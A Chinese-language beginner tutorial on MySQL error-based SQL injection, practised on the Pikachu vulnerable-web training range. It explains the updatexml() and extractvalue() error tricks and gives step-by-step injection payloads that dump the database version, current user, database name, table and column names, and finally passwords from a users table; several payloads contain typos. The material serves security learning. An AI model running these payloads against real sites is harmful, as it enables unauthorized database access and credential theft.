SQL注入之報(bào)錯(cuò)注入實(shí)戰(zhàn)演練(適合新手入門)
一、概念
報(bào)錯(cuò)注入指在MYSQL中使用一些指定的函數(shù)來制造報(bào)錯(cuò),從而從報(bào)錯(cuò)信息中獲取設(shè)定的信息。
常見的select/insert/update/delete注入都可以使用報(bào)錯(cuò)方式來獲取信息。
為什么要用函數(shù)報(bào)錯(cuò)?
是因?yàn)槲覀冎皩W(xué)到的一些注入測(cè)試手段,可能看不到報(bào)錯(cuò),被屏蔽或者處理了,不好判斷是否有注入點(diǎn),所以學(xué)一下基于函數(shù)的報(bào)錯(cuò)。
二、原理
以皮卡丘靶場(chǎng)為例
“http header”注入,登錄,抓包

用測(cè)試語(yǔ)句測(cè)試

若測(cè)試后沒有報(bào)錯(cuò),但也沒看到用戶表中的數(shù)據(jù),頁(yè)面渲染還是原先的頁(yè)面,可能是因?yàn)榉?wù)端那邊拿到數(shù)據(jù)之后,只是在數(shù)據(jù)庫(kù)中查詢了一下有沒有admin'這個(gè)用戶就結(jié)束了,沒有把整個(gè)表里面的查到的數(shù)據(jù)展示給你看。
在頁(yè)面沒有給任何反饋信息的情況下,就可以用到報(bào)錯(cuò)注入。
三、報(bào)錯(cuò)注入分類
updatexml注入
insert注入
update注入
delete注入
extractvalue()注入
四、三個(gè)常用的用來報(bào)錯(cuò)的函數(shù)
- Updatexml():函數(shù)是MYSQL對(duì)XML文檔數(shù)據(jù)進(jìn)行查詢和修改的XPATH函數(shù)。
- extractvalue():函數(shù)是MYSQL對(duì)XML文檔數(shù)據(jù)進(jìn)行查詢的XPATH函數(shù)。
- floor():MYSQL中用來取整的函數(shù)。
1.updatexml()
(XML_document, XPath_string, new_value);
它是一個(gè)內(nèi)容替換函數(shù),主要針對(duì)的xml數(shù)據(jù);
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱,文中為Doc
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串)
第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)。
如:數(shù)據(jù)版本為5.5.53,那么concat連接之后,得到的結(jié)果為~5.5.53~updatexml(1,~5.5.53~,1),其中~5.5.53~并不符合xpath的語(yǔ)法格式,會(huì)報(bào)錯(cuò)。
2.extractvalue()
EXTRACTVALUE (XML_document, XPath_string);
從目標(biāo)XML中返回包含所查詢值的字符串。
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串)
concat:返回結(jié)果為連接參數(shù)產(chǎn)生的字符串。
如:SELECT Extractvalue('<a><b><b/></a >','/a/b');就是尋找前一段xml文檔內(nèi)容中的a節(jié)點(diǎn)下的b節(jié)點(diǎn),這里書寫錯(cuò)誤的話,就會(huì)報(bào)錯(cuò)。
五、實(shí)戰(zhàn)演練
1、爆數(shù)據(jù)庫(kù)版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
(K這個(gè)字母是隨便寫的,寫什么都可以 0x7e是16進(jìn)制,表示一個(gè)~符號(hào))
k'and updatexm(1,concat(0x7e,(SELECT@@version),0x7e),1)#
k‘and updatexml(1,concat("~",(SELECT @@version),"~"),1)#
這里為什么不直接寫~,而是寫成了16進(jìn)制呢?
因?yàn)閪本身為字符串,如果直接寫~,需要用引號(hào)引起來,如果用單引號(hào)的話,勢(shì)必會(huì)和我們前面閉合用的單引號(hào)有些沖突,所以只能用雙引號(hào),還需要寫引號(hào),比較麻煩,并且如果別人后臺(tái)對(duì)引號(hào)做了限制的話,我們用引號(hào)就會(huì)注入失敗。
可以通過編碼解碼工具查看一些0x7e是什么。
concat是mysql中的字符串拼接函數(shù),能拼接兩個(gè)字符串.
SELECT@@version是查詢當(dāng)前數(shù)據(jù)庫(kù)的版本,不加兩個(gè)@也是可以的。
在靶場(chǎng)搜索型注入中輸入k'and updatexm(1,concat(0x7e,(SELECT@@version),0x7e),1)#

報(bào)錯(cuò),但可以查詢到數(shù)據(jù)庫(kù)版本

2、爆數(shù)據(jù)庫(kù)當(dāng)前用戶
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

3、爆數(shù)據(jù)庫(kù)
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

4、爆表
5.1版本及以上版本,mysql數(shù)據(jù)庫(kù)中會(huì)存在一個(gè)叫做的formation_schema的默認(rèn)數(shù)據(jù)庫(kù),這個(gè)庫(kù)里面記錄著整個(gè)mysq!管理的數(shù)據(jù)庫(kù)的名稱、表名、列名(字段名)。
獲取數(shù)據(jù)庫(kù)表名,輸入:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema='pikachu')),0)#,但是反饋回的錯(cuò)誤表示只能顯示一行,所以采用limit來一行一行顯示

子查詢返回的行數(shù)大于1
limit限制一行,輸入k' and updatexml(1,concat(0x7e,(select table_ name from information_schema.tables wheretable_schema='pikachu' limit 0,1)),0)#,更改limit后面的數(shù)字limit 0完成表名遍歷。

5、爆字段
獲取字段名,輸入: k' and updatexml(1,concat(0x7e,(select column_name from information _schema columns wheretable_name='users' and table_schema='pikachu' limit 2,1)),0)#
6、爆字段內(nèi)容
獲取字段內(nèi)容,輸入:k'and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#
總結(jié)
到此這篇關(guān)于SQL注入之報(bào)錯(cuò)注入的文章就介紹到這了,更多相關(guān)SQL報(bào)錯(cuò)注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
使用Shell腳本操作多個(gè)MySQL數(shù)據(jù)庫(kù)的步驟詳解
本文介紹如何通過Shell腳本批量操作多個(gè)MySQL數(shù)據(jù)庫(kù),包含創(chuàng)建數(shù)據(jù)庫(kù)信息文件、編寫執(zhí)行腳本、準(zhǔn)備SQL文件及設(shè)置權(quán)限等步驟,實(shí)現(xiàn)自動(dòng)遍歷連接各數(shù)據(jù)庫(kù)并執(zhí)行指定SQL語(yǔ)句創(chuàng)建表的操作,需要的朋友可以參考下2025-08-08
mysql數(shù)據(jù)庫(kù)隔離級(jí)別詳解
SQL標(biāo)準(zhǔn)定義了4類隔離級(jí)別,包括了一些具體規(guī)則,用來限定事務(wù)內(nèi)外的哪些改變是可見的,哪些是不可見的,下面這篇文章主要給大家介紹了關(guān)于mysql數(shù)據(jù)庫(kù)隔離級(jí)別的相關(guān)資料,需要的朋友可以參考下2022-06-06
mysql獲取字符串長(zhǎng)度函數(shù)(CHAR_LENGTH)
mysql 無限級(jí)分類實(shí)現(xiàn)思路
Mysql查詢數(shù)據(jù)庫(kù)或數(shù)據(jù)表中的數(shù)據(jù)量以及數(shù)據(jù)大小

